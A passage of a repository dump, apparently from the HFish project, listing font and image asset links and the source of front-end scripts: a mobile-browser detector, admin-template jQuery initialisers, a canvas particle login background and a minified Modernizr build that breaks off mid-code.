-------------------------------------------------------------------------------- https://raw.githubusercontent.com/Gowabby/HFish/4e598d5ce1a539abf4601c08e6487f2c7f1381b2/static/fonts/ionicons.woff -------------------------------------------------------------------------------- /static/fonts/themify.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Gowabby/HFish/4e598d5ce1a539abf4601c08e6487f2c7f1381b2/static/fonts/themify.eot -------------------------------------------------------------------------------- /static/fonts/themify.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Gowabby/HFish/4e598d5ce1a539abf4601c08e6487f2c7f1381b2/static/fonts/themify.ttf -------------------------------------------------------------------------------- /static/fonts/themify.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Gowabby/HFish/4e598d5ce1a539abf4601c08e6487f2c7f1381b2/static/fonts/themify.woff -------------------------------------------------------------------------------- /static/fonts/typicons.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Gowabby/HFish/4e598d5ce1a539abf4601c08e6487f2c7f1381b2/static/fonts/typicons.eot -------------------------------------------------------------------------------- /static/fonts/typicons.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Gowabby/HFish/4e598d5ce1a539abf4601c08e6487f2c7f1381b2/static/fonts/typicons.ttf -------------------------------------------------------------------------------- /static/fonts/typicons.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Gowabby/HFish/4e598d5ce1a539abf4601c08e6487f2c7f1381b2/static/fonts/typicons.woff -------------------------------------------------------------------------------- /static/fonts/weathericons-regular-webfont.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Gowabby/HFish/4e598d5ce1a539abf4601c08e6487f2c7f1381b2/static/fonts/weathericons-regular-webfont.eot -------------------------------------------------------------------------------- /static/fonts/weathericons-regular-webfont.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Gowabby/HFish/4e598d5ce1a539abf4601c08e6487f2c7f1381b2/static/fonts/weathericons-regular-webfont.ttf -------------------------------------------------------------------------------- /static/fonts/weathericons-regular-webfont.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Gowabby/HFish/4e598d5ce1a539abf4601c08e6487f2c7f1381b2/static/fonts/weathericons-regular-webfont.woff -------------------------------------------------------------------------------- /static/fonts/weathericons-regular-webfont.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Gowabby/HFish/4e598d5ce1a539abf4601c08e6487f2c7f1381b2/static/fonts/weathericons-regular-webfont.woff2 -------------------------------------------------------------------------------- /static/images/avatar.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Gowabby/HFish/4e598d5ce1a539abf4601c08e6487f2c7f1381b2/static/images/avatar.png -------------------------------------------------------------------------------- /static/images/logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Gowabby/HFish/4e598d5ce1a539abf4601c08e6487f2c7f1381b2/static/images/logo.png -------------------------------------------------------------------------------- /static/images/xy.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Gowabby/HFish/4e598d5ce1a539abf4601c08e6487f2c7f1381b2/static/images/xy.png -------------------------------------------------------------------------------- /static/js/detect.js: -------------------------------------------------------------------------------- 1 | /** 2 | * jQuery.browser.mobile (http://detectmobilebrowser.com/) 3 | * 4 | * jQuery.browser.mobile will be true if the browser is a mobile device 5 | * 6 | **/ 7 | (function(a){(jQuery.browser=jQuery.browser||{}).mobile=/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows (ce|phone)|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))})(navigator.userAgent||navigator.vendor||window.opera); -------------------------------------------------------------------------------- /static/js/jquery.app.js: -------------------------------------------------------------------------------- 1 | /** 2 | * Theme: Adminto Admin Template 3 | * Author: Coderthemes 4 | * Module/App: Main Js 5 | */ 6 | 7 | 8 | !function($) { 9 | "use strict"; 10 | 11 | var Navbar = function() {}; 12 | 13 | //navbar - topbar 14 | Navbar.prototype.init = function () { 15 | //toggle 16 | $('.navbar-toggle').on('click', function (event) { 17 | $(this).toggleClass('open'); 18 | $('#navigation').slideToggle(400); 19 | }); 20 | 21 | $('.navigation-menu>li').slice(-1).addClass('last-elements'); 22 | 23 | $('.navigation-menu li.has-submenu a[href="#"]').on('click', function (e) { 24 | if ($(window).width() < 992) { 25 | e.preventDefault(); 26 | $(this).parent('li').toggleClass('open').find('.submenu:first').toggleClass('open'); 27 | } 28 | }); 29 | 30 | $(".right-bar-toggle").click(function(){ 31 | $(".right-bar").toggle(); 32 | $('.wrapper').toggleClass('right-bar-enabled'); 33 | }); 34 | }, 35 | //init 36 | $.Navbar = new Navbar, $.Navbar.Constructor = Navbar 37 | }(window.jQuery), 38 | 39 | //initializing 40 | function($) { 41 | "use strict"; 42 | $.Navbar.init() 43 | }(window.jQuery); 44 | 45 | 46 | // === following js will activate the menu in left side bar based on url ==== 47 | $(document).ready(function () { 48 | $(".navigation-menu a").each(function () { 49 | if (this.href == window.location.href) { 50 | $(this).parent().addClass("active"); // add active to li of the current link 51 | $(this).parent().parent().parent().addClass("active"); // add active class to an anchor 52 | $(this).parent().parent().parent().parent().parent().addClass("active"); // add active class to an anchor 53 | } 54 | }); 55 | }); 56 | 57 | -------------------------------------------------------------------------------- /static/js/jquery.core.js: -------------------------------------------------------------------------------- 1 | /** 2 | * Theme: Uplon Admin Template 3 | * Author: Coderthemes 4 | * Module/App: Core js 5 | */ 6 | 7 | 8 | !function($) { 9 | "use strict"; 10 | 11 | var Components = function() {}; 12 | 13 | //initializing tooltip 14 | Components.prototype.initTooltipPlugin = function() { 15 | $.fn.tooltip && $('[data-toggle="tooltip"]').tooltip() 16 | }, 17 | 18 | //initializing popover 19 | Components.prototype.initPopoverPlugin = function() { 20 | $.fn.popover && $('[data-toggle="popover"]').popover() 21 | }, 22 | 23 | //initializing custom modal 24 | Components.prototype.initCustomModalPlugin = function() { 25 | $('[data-plugin="custommodal"]').on('click', function(e) { 26 | Custombox.open({ 27 | target: $(this).attr("href"), 28 | effect: $(this).attr("data-animation"), 29 | overlaySpeed: $(this).attr("data-overlaySpeed"), 30 | overlayColor: $(this).attr("data-overlayColor") 31 | }); 32 | e.preventDefault(); 33 | }); 34 | }, 35 | 36 | //initializing nicescroll 37 | Components.prototype.initNiceScrollPlugin = function() { 38 | //You can change the color of scroll bar here 39 | $.fn.niceScroll && $(".nicescroll").niceScroll({ cursorcolor: '#98a6ad',cursorwidth:'6px', cursorborderradius: '5px'}); 40 | }, 41 | 42 | //range slider 43 | Components.prototype.initRangeSlider = function() { 44 | $.fn.slider && $('[data-plugin="range-slider"]').slider({}); 45 | }, 46 | 47 | /* ------------- 48 | * Form related controls 49 | */ 50 | //switch 51 | Components.prototype.initSwitchery = function() { 52 | $('[data-plugin="switchery"]').each(function (idx, obj) { 53 | new Switchery($(this)[0], $(this).data()); 54 | }); 55 | }, 56 | //multiselect 57 | Components.prototype.initMultiSelect = function() { 58 | if($('[data-plugin="multiselect"]').length > 0) 59 | $('[data-plugin="multiselect"]').multiSelect($(this).data()); 60 | }, 61 | 62 | /* ------------- 63 | * small charts related widgets 64 | */ 65 | //peity charts 66 | Components.prototype.initPeityCharts = function() { 67 | $('[data-plugin="peity-pie"]').each(function(idx, obj) { 68 | var colors = $(this).attr('data-colors')?$(this).attr('data-colors').split(","):[]; 69 | var width = $(this).attr('data-width')?$(this).attr('data-width'):20; //default is 20 70 | var height = $(this).attr('data-height')?$(this).attr('data-height'):20; //default is 20 71 | $(this).peity("pie", { 72 | fill: colors, 73 | width: width, 74 | height: height 75 | }); 76 | }); 77 | //donut 78 | $('[data-plugin="peity-donut"]').each(function(idx, obj) { 79 | var colors = $(this).attr('data-colors')?$(this).attr('data-colors').split(","):[]; 80 | var width = $(this).attr('data-width')?$(this).attr('data-width'):20; //default is 20 81 | var height = $(this).attr('data-height')?$(this).attr('data-height'):20; //default is 20 82 | $(this).peity("donut", { 83 | fill: colors, 84 | width: width, 85 | height: height 86 | }); 87 | }); 88 | 89 | $('[data-plugin="peity-donut-alt"]').each(function(idx, obj) { 90 | $(this).peity("donut"); 91 | }); 92 | 93 | // line 94 | $('[data-plugin="peity-line"]').each(function(idx, obj) { 95 | $(this).peity("line", $(this).data()); 96 | }); 97 | 98 | // bar 99 | $('[data-plugin="peity-bar"]').each(function(idx, obj) { 100 | var colors = $(this).attr('data-colors')?$(this).attr('data-colors').split(","):[]; 101 | var width = $(this).attr('data-width')?$(this).attr('data-width'):20; //default is 20 102 | var height = $(this).attr('data-height')?$(this).attr('data-height'):20; //default is 20 103 | $(this).peity("bar", { 104 | fill: colors, 105 | width: width, 106 | height: height 107 | }); 108 | }); 109 | }, 110 | Components.prototype.initKnob = function() { 111 | $('[data-plugin="knob"]').each(function(idx, obj) { 112 | $(this).knob(); 113 | }); 114 | }, 115 | 116 | Components.prototype.initCircliful = function() { 117 | $('[data-plugin="circliful"]').each(function(idx, obj) { 118 | $(this).circliful(); 119 | }); 120 | }, 121 | 122 | Components.prototype.initCounterUp = function() { 123 | var delay = $(this).attr('data-delay')?$(this).attr('data-delay'):100; //default is 100 124 | var time = $(this).attr('data-time')?$(this).attr('data-time'):1200; //default is 1200 125 | $('[data-plugin="counterup"]').each(function(idx, obj) { 126 | $(this).counterUp({ 127 | delay: 100, 128 | time: 1200 129 | }); 130 | }); 131 | }, 132 | 133 | 134 | //initilizing 135 | Components.prototype.init = function() { 136 | var $this = this; 137 | this.initTooltipPlugin(), 138 | this.initPopoverPlugin(), 139 | this.initNiceScrollPlugin(), 140 | this.initCustomModalPlugin(), 141 | this.initRangeSlider(), 142 | this.initSwitchery(), 143 | this.initMultiSelect(), 144 | this.initPeityCharts(), 145 | this.initKnob(), 146 | this.initCircliful(), 147 | this.initCounterUp() 148 | }, 149 | 150 | $.Components = new Components, $.Components.Constructor = Components 151 | 152 | }(window.jQuery), 153 | //initializing main application module 154 | function($) { 155 | "use strict"; 156 | $.Components.init(); 157 | }(window.jQuery); 158 | 159 | 160 | 161 | 162 | -------------------------------------------------------------------------------- /static/js/loginbg.js: -------------------------------------------------------------------------------- 1 | var CanvasParticle = (function () { 2 | function getElementByTag(name) { 3 | return document.getElementsByTagName(name); 4 | } 5 | 6 | function getELementById(id) { 7 | return document.getElementById(id); 8 | } 9 | 10 | // 根据传入的config初始化画布 11 | function canvasInit(canvasConfig) { 12 | canvasConfig = canvasConfig || {}; 13 | var html = getElementByTag("html")[0]; 14 | // 获取body作为背景 15 | // var body = getElementByTag("body")[0]; 16 | 17 | // 获取特定div作为背景 18 | // mydiv是你想要将其作为背景的div的ID 19 | var body = document.getElementById("mydiv"); 20 | var canvasObj = document.createElement("canvas"); 21 | 22 | var canvas = { 23 | element: canvasObj, 24 | points: [], 25 | // 默认配置 26 | config: { 27 | vx: canvasConfig.vx || 4, 28 | vy: canvasConfig.vy || 4, 29 | height: canvasConfig.height || 2, 30 | width: canvasConfig.width || 2, 31 | count: canvasConfig.count || 100, 32 | color: canvasConfig.color || "121, 162, 185", 33 | stroke: canvasConfig.stroke || "130,255,255", 34 | dist: canvasConfig.dist || 6000, 35 | e_dist: canvasConfig.e_dist || 20000, 36 | max_conn: 10 37 | } 38 | }; 39 | 40 | // 获取context 41 | if (canvas.element.getContext("2d")) { 42 | canvas.context = canvas.element.getContext("2d"); 43 | } else { 44 | return null; 45 | } 46 | 47 | body.style.padding = "0"; 48 | body.style.margin = "0"; 49 | // body.replaceChild(canvas.element, canvasDiv); 50 | body.appendChild(canvas.element); 51 | 52 | canvas.element.style = "position: fixed; top: 0; left: 0; z-index: -1;"; 53 | canvasSize(canvas.element); 54 | window.onresize = function () { 55 | canvasSize(canvas.element); 56 | } 57 | body.onmousemove = function (e) { 58 | var event = e || window.event; 59 | canvas.mouse = { 60 | x: event.clientX, 61 | y: event.clientY 62 | } 63 | } 64 | document.onmouseleave = function () { 65 | canvas.mouse = undefined; 66 | } 67 | setInterval(function () { 68 | drawPoint(canvas); 69 | }, 40); 70 | } 71 | 72 | // 设置canvas大小 73 | function canvasSize(canvas) { 74 | // 获取窗口的宽高 75 | // canvas.width = window.innerWeight || document.documentElement.clientWidth || document.body.clientWidth; 76 | // canvas.height = window.innerWeight || document.documentElement.clientHeight || document.body.clientHeight; 77 | 78 | // 获取特定div的宽高 79 | var width = document.getElementById("mydiv").style.width; 80 | var height = document.getElementById("mydiv").style.height; 81 | width = parseInt(width); 82 | height = parseInt(height); 83 | canvas.width = width || window.innerWeight || document.documentElement.clientWidth || document.body.clientWidth; 84 | canvas.height = height || window.innerWeight || document.documentElement.clientHeight || document.body.clientHeight; 85 | } 86 | 87 | // 画点 88 | function drawPoint(canvas) { 89 | var context = canvas.context, 90 | point, 91 | dist; 92 | context.clearRect(0, 0, canvas.element.width, canvas.element.height); 93 | context.beginPath(); 94 | context.fillStyle = "rgb(" + canvas.config.color + ")"; 95 | for (var i = 0, len = canvas.config.count; i < len; i++) { 96 | if (canvas.points.length != canvas.config.count) { 97 | // 初始化所有点 98 | point = { 99 | x: Math.floor(Math.random() * canvas.element.width), 100 | y: Math.floor(Math.random() * canvas.element.height), 101 | vx: canvas.config.vx / 2 - Math.random() * canvas.config.vx, 102 | vy: canvas.config.vy / 2 - Math.random() * canvas.config.vy 103 | } 104 | } else { 105 | // 处理球的速度和位置,并且做边界处理 106 | point = borderPoint(canvas.points[i], canvas); 107 | } 108 | context.fillRect(point.x - canvas.config.width / 2, point.y - canvas.config.height / 2, canvas.config.width, canvas.config.height); 109 | 110 | canvas.points[i] = point; 111 | } 112 | drawLine(context, canvas, canvas.mouse); 113 | context.closePath(); 114 | } 115 | 116 | // 边界处理 117 | function borderPoint(point, canvas) { 118 | var p = point; 119 | if (point.x <= 0 || point.x >= canvas.element.width) { 120 | p.vx = -p.vx; 121 | p.x += p.vx; 122 | } else if (point.y <= 0 || point.y >= canvas.element.height) { 123 | p.vy = -p.vy; 124 | p.y += p.vy; 125 | } else { 126 | p = { 127 | x: p.x + p.vx, 128 | y: p.y + p.vy, 129 | vx: p.vx, 130 | vy: p.vy 131 | } 132 | } 133 | return p; 134 | } 135 | 136 | // 画线 137 | function drawLine(context, canvas, mouse) { 138 | context = context || canvas.context; 139 | for (var i = 0, len = canvas.config.count; i < len; i++) { 140 | // 初始化最大连接数 141 | canvas.points[i].max_conn = 0; 142 | // point to point 143 | for (var j = 0; j < len; j++) { 144 | if (i != j) { 145 | dist = Math.round(canvas.points[i].x - canvas.points[j].x) * Math.round(canvas.points[i].x - canvas.points[j].x) + 146 | Math.round(canvas.points[i].y - canvas.points[j].y) * Math.round(canvas.points[i].y - canvas.points[j].y); 147 | // 两点距离小于吸附距离,而且小于最大连接数,则画线 148 | if (dist <= canvas.config.dist && canvas.points[i].max_conn < canvas.config.max_conn) { 149 | canvas.points[i].max_conn++; 150 | // 距离越远,线条越细,而且越透明 151 | context.lineWidth = 0.5 - dist / canvas.config.dist; 152 | context.strokeStyle = "rgba(" + canvas.config.stroke + "," + (1 - dist / canvas.config.dist) + ")" 153 | context.beginPath(); 154 | context.moveTo(canvas.points[i].x, canvas.points[i].y); 155 | context.lineTo(canvas.points[j].x, canvas.points[j].y); 156 | context.stroke(); 157 | 158 | } 159 | } 160 | } 161 | // 如果鼠标进入画布 162 | // point to mouse 163 | if (mouse) { 164 | dist = Math.round(canvas.points[i].x - mouse.x) * Math.round(canvas.points[i].x - mouse.x) + 165 | Math.round(canvas.points[i].y - mouse.y) * Math.round(canvas.points[i].y - mouse.y); 166 | // 遇到鼠标吸附距离时加速,直接改变point的x,y值达到加速效果 167 | if (dist > canvas.config.dist && dist <= canvas.config.e_dist) { 168 | canvas.points[i].x = canvas.points[i].x + (mouse.x - canvas.points[i].x) / 20; 169 | canvas.points[i].y = canvas.points[i].y + (mouse.y - canvas.points[i].y) / 20; 170 | } 171 | if (dist <= canvas.config.e_dist) { 172 | context.lineWidth = 1; 173 | context.strokeStyle = "rgba(" + canvas.config.stroke + "," + (1 - dist / canvas.config.e_dist) + ")"; 174 | context.beginPath(); 175 | context.moveTo(canvas.points[i].x, canvas.points[i].y); 176 | context.lineTo(mouse.x, mouse.y); 177 | context.stroke(); 178 | } 179 | } 180 | } 181 | } 182 | 183 | return canvasInit; 184 | })(); 185 | -------------------------------------------------------------------------------- /static/js/modernizr.min.js: -------------------------------------------------------------------------------- 1 | window.Modernizr=function(e,t,n){function r(e){b.cssText=e}function o(e,t){return r(S.join(e+";")+(t||""))}function a(e,t){return typeof e===t}function i(e,t){return!!~(""+e).indexOf(t)}function c(e,t){for(var r in e){var o=e[r];if(!i(o,"-")&&b[o]!==n)return"pfx"==t?o:!0}return!1}function s(e,t,r){for(var o in e){var i=t[e[o]];if(i!==n)return r===!1?e[o]:a(i,"function")?i.bind(r||t):i}return!1}function u(e,t,n){var r=e.charAt(0).toUpperCase()+e.slice(1),o=(e+" "+k.join(r+" ")+r).split(" ");return a(t,"string")||a(t,"undefined")?c(o,t):(o=(e+" "+T.join(r+" ")+r).split(" "),s(o,t,n))}function l(){p.input=function(n){for(var r=0,o=n.length;o>r;r++)j[n[r]]=!!(n[r]in E);return j.list&&(j.list=!(!t.createElement("datalist")||!e.HTMLDataListElement)),j}("autocomplete autofocus list placeholder max min multiple pattern required step".split(" ")),p.inputtypes=function(e){for(var r,o,a,i=0,c=e.length;c>i;i++)E.setAttribute("type",o=e[i]),r="text"!==E.type,r&&(E.value=x,E.style.cssText="position:absolute;visibility:hidden;",/^range$/.test(o)&&E.style.WebkitAppearance!==n?(g.appendChild(E),a=t.defaultView,r=a.getComputedStyle&&"textfield"!==a.getComputedStyle(E,null).WebkitAppearance&&0!==E.offsetHeight,g.removeChild(E)):/^(search|tel)$/.test(o)||(r=/^(url|email)$/.test(o)?E.checkValidity&&E.checkValidity()===!1:E.value!=x)),P[e[i]]=!!r;return P}("search tel url email datetime date month week time datetime-local number range color".split(" "))}var d,f,m="2.8.3",p={},h=!0,g=t.documentElement,v="modernizr",y=t.createElement(v),b=y.style,E=t.createElement("input"),x=":)",w={}.toString,S=" -webkit- -moz- -o- -ms- ".split(" "),C="Webkit Moz O ms",k=C.split(" "),T=C.toLowerCase().split(" "),N={svg:"http://www.w3.org/2000/svg"},M={},P={},j={},$=[],D=$.slice,F=function(e,n,r,o){var a,i,c,s,u=t.createElement("div"),l=t.body,d=l||t.createElement("body");if(parseInt(r,10))for(;r--;)c=t.createElement("div"),c.id=o?o[r]:v+(r+1),u.appendChild(c);return a=["­",'"].join(""),u.id=v,(l?u:d).innerHTML+=a,d.appendChild(u),l||(d.style.background="",d.style.overflow="hidden",s=g.style.overflow,g.style.overflow="hidden",g.appendChild(d)),i=n(u,e),l?u.parentNode.removeChild(u):(d.parentNode.removeChild(d),g.style.overflow=s),!!i},z=function(t){var n=e.matchMedia||e.msMatchMedia;if(n)return n(t)&&n(t).matches||!1;var r;return F("@media "+t+" { #"+v+" { position: absolute; } }",function(t){r="absolute"==(e.getComputedStyle?getComputedStyle(t,null):t.currentStyle).position}),r},A=function(){function e(e,o){o=o||t.createElement(r[e]||"div"),e="on"+e;var i=e in o;return i||(o.setAttribute||(o=t.createElement("div")),o.setAttribute&&o.removeAttribute&&(o.setAttribute(e,""),i=a(o[e],"function"),a(o[e],"undefined")||(o[e]=n),o.removeAttribute(e))),o=null,i}var r={select:"input",change:"input",submit:"form",reset:"form",error:"images",load:"images",abort:"images"};return e}(),L={}.hasOwnProperty;f=a(L,"undefined")||a(L.call,"undefined")?function(e,t){return t in e&&a(e.constructor.prototype[t],"undefined")}:function(e,t){return L.call(e,t)},Function.prototype.bind||(Function.prototype.bind=function(e){var t=this;if("function"!=typeof t)throw new TypeError;var n=D.call(arguments,1),r=function(){if(this instanceof r){var o=function(){};o.prototype=t.prototype;var a=new o,i=t.apply(a,n.concat(D.call(arguments)));return Object(i)===i?i:a}return t.apply(e,n.concat(D.call(arguments)))};return r}),M.flexbox=function(){return u("flexWrap")},M.flexboxlegacy=function(){return u("boxDirection")},M.canvas=function(){var e=t.createElement("canvas");return!(!e.getContext||!e.getContext("2d"))},M.canvastext=function(){return!(!p.canvas||!a(t.createElement("canvas").getContext("2d").fillText,"function"))},M.webgl=function(){return!!e.WebGLRenderingContext},M.touch=function(){var n;return"ontouchstart"in e||e.DocumentTouch&&t instanceof DocumentTouch?n=!0:F(["@media (",S.join("touch-enabled),("),v,")","{#modernizr{top:9px;position:absolute}}"].join(""),function(e){n=9===e.offsetTop}),n},M.geolocation=function(){return"geolocation"in navigator},M.postmessage=function(){return!!e.postMessage},M.websqldatabase=function(){return!!e.openDatabase},M.indexedDB=function(){return!!u("indexedDB",e)},M.hashchange=function(){return A("hashchange",e)&&(t.documentMode===n||t.documentMode>7)},M.history=function(){return!(!e.history||!history.pushState)},M.draganddrop=function(){var e=t.createElement("div");return"draggable"in e||"ondragstart"in e&&"ondrop"in e},M.websockets=function(){return"WebSocket"in e||"MozWebSocket"in e},M.rgba=function(){return r("background-color:rgba(150,255,150,.5)"),i(b.backgroundColor,"rgba")},M.hsla=function(){return r("background-color:hsla(120,40%,100%,.5)"),i(b.backgroundColor,"rgba")||i(b.backgroundColor,"hsla")},M.multiplebgs=function(){return r("background:url(https://),url(https://),red url(https://)"),/(url\s*\(.*?){3}/.test(b.background)},M.backgroundsize=function(){return u("backgroundSize")},M.borderimage=function(){return u("borderImage")},M.borderradius=function(){return u("borderRadius")},M.boxshadow=function(){return u("boxShadow")},M.textshadow=function(){return""===t.createElement("div").style.textShadow},M.opacity=function(){return o("opacity:.55"),/^0.55$/.test(b.opacity)},M.cssanimations=function(){return u("animationName")},M.csscolumns=function(){return u("columnCount")},M.cssgradients=function(){var e="background-image:",t="gradient(linear,left top,right bottom,from(#9f9),to(white));",n="linear-gradient(left top,#9f9, white);";return r((e+"-webkit- ".split(" ").join(t+e)+S.join(n+e)).slice(0,-e.length)),i(b.backgroundImage,"gradient")},M.cssreflections=function(){return u("boxReflect")},M.csstransforms=function(){return!!u("transform")},M.csstransforms3d=function(){var e=!!u("perspective");return e&&"webkitPerspective"in g.style&&F("@media (transform-3d),(-webkit-transform-3d){#modernizr{left:9px;position:absolute;height:3px;}}",function(t){e=9===t.offsetLeft&&3===t.offsetHeight}),e},M.csstransitions=function(){return u("transition")},M.fontface=function(){var e;return F('@font-face {font-family:"font";src:url("https://")}',function(n,r){var o=t.getElementById("smodernizr"),a=o.sheet||o.styleSheet,i=a?a.cssRules&&a.cssRules[0]?a.cssRules[0].cssText:a.cssText||"":"";e=/src/i.test(i)&&0===i.indexOf(r.split(" ")[0])}),e},M.generatedcontent=function(){var e;return F(["#",v,"{font:0/0 a}#",v,':after{content:"',x,'";visibility:hidden;font:3px/1 a}'].join(""),function(t){e=t.offsetHeight>=3}),e},M.video=function(){var e=t.createElement("video"),n=!1;try{(n=!!e.canPlayType)&&(n=new Boolean(n),n.ogg=e.canPlayType('video/ogg; codecs="theora"').replace(/^no$/,""),n.h264=e.canPlayType('video/mp4; codecs="avc1.42E01E"').replace(/^no$/,""),n.webm=e.canPlayType('video/webm; codecs="vp8, vorbis"').replace(/^no$/,""))}catch(r){}return n},M.audio=function(){var e=t.createElement("audio"),n=!1;try{(n=!!e.canPlayType)&&(n=new Boolean(n),n.ogg=e.canPlayType('audio/ogg; codecs="vorbis"').replace(/^no$/,""),n.mp3=e.canPlayType("audio/mpeg;").replace(/^no$/,""),n.wav=e.canPlayType('audio/wav; codecs="1"').replace(/^no$/,""),n.m4a=(e.canPlayType("audio/x-m4a;")||e.canPlayType("audio/aac;")).replace(/^no$/,""))}catch(r){}return n},M.localstorage=function(){try{return localStorage.setItem(v,v),localStorage.removeItem(v),!0}catch(e){return!1}},M.sessionstorage=function(){try{return sessionStorage.setItem(v,v),sessionStorage.removeItem(v),!0}catch(e){return!1}},M.webworkers=function(){return!!e.Worker},M.applicationcache=function(){return!!e.applicationCache},M.svg=function(){return!!t.createElementNS&&!!t.createElementNS(N.svg,"svg").createSVGRect},M.inlinesvg=function(){var e=t.createElement("div");return e.innerHTML="",(e.firstChild&&e.firstChild.namespaceURI)==N.svg},M.smil=function(){return!!t.createElementNS&&/SVGAnimate/.test(w.call(t.createElementNS(N.svg,"animate")))},M.svgclippaths=function(){return!!t.createElementNS&&/SVGClipPath/.test(w.call(t.createElementNS(N.svg,"clipPath")))};for(var H in M)f(M,H)&&(d=H.toLowerCase(),p[d]=M[H](),$.push((p[d]?"":"no-")+d));return p.input||l(),p.addTest=function(e,t){if("object"==typeof e)for(var r in e)f(e,r)&&p.addTest(r,e[r]);else{if(e=e.toLowerCase(),p[e]!==n)return p;t="function"==typeof t?t():t,"undefined"!=typeof h&&h&&(g.className+=" "+(t?"":"no-")+e),p[e]=t}return p},r(""),y=E=null,function(e,t){function n(e,t){var n=e.createElement("p"),r=e.getElementsByTagName("head")[0]||e.documentElement;return n.innerHTML="x",r.insertBefore(n.lastChild,r.firstChild)}function r(){var e=y.elements;return"string"==typeof e?e.split(" "):e}function o(e){var t=v[e[h]];return t||(t={},g++,e[h]=g,v[g]=t),t}function a(e,n,r){if(n||(n=t),l)return n.createElement(e);r||(r=o(n));var a;return a=r.cache[e]?r.cache[e].cloneNode():p.test(e)?(r.cache[e]=r.createElem(e)).cloneNode():r.createElem(e),!a.canHaveChildren||m.test(e)||a.tagUrn?a:r.frag.appendChild(a)}function i(e,n){if(e||(e=t),l)return e.createDocumentFragment();n=n||o(e);for(var a=n.frag.cloneNode(),i=0,c=r(),s=c.length;s>i;i++)a.createElement(c[i]);return a}function c(e,t){t.cache||(t.cache={},t.createElem=e.createElement,t.createFrag=e.createDocumentFragment,t.frag=t.createFrag()),e.createElement=function(n){return y.shivMethods?a(n,e,t):t.createElem(n)},e.createDocumentFragment=Function("h,f","return function(){var n=f.cloneNode(),c=n.createElement;h.shivMethods&&("+r().join().replace(/[\w\-]+/g,function(e){return t.createElem(e),t.frag.createElement(e),'c("'+e+'")'})+");return n}")(y,t.frag)}function s(e){e||(e=t);var r=o(e);return!y.shivCSS||u||r.hasCSS||(r.hasCSS=!!n(e,"article,aside,dialog,figcaption,figure,footer,header,hgroup,main,nav,section{display:block}mark{background:#FF0;color:#000}template{display:none}")),l||c(e,r),e}var u,l,d="3.7.0",f=e.html5||{},m=/^<|^(?:button|map|select|textarea|object|iframe|option|optgroup)$/i,p=/^(?:a|b|code|div|fieldset|h1|h2|h3|h4|h5|h6|i|label|li|ol|p|q|span|strong|style|table|tbody|td|th|tr|ul)$/i,h="_html5shiv",g=0,v={};!function(){try{var e=t.createElement("a");e.innerHTML="",u="hidden"in e,l=1==e.childNodes.length||function(){t.createElement("a");var e=t.createDocumentFragment();return"undefined"==typeof e.cloneNode||"undefined"==typeof e.createDocumentFragment||"undefined"==typeof 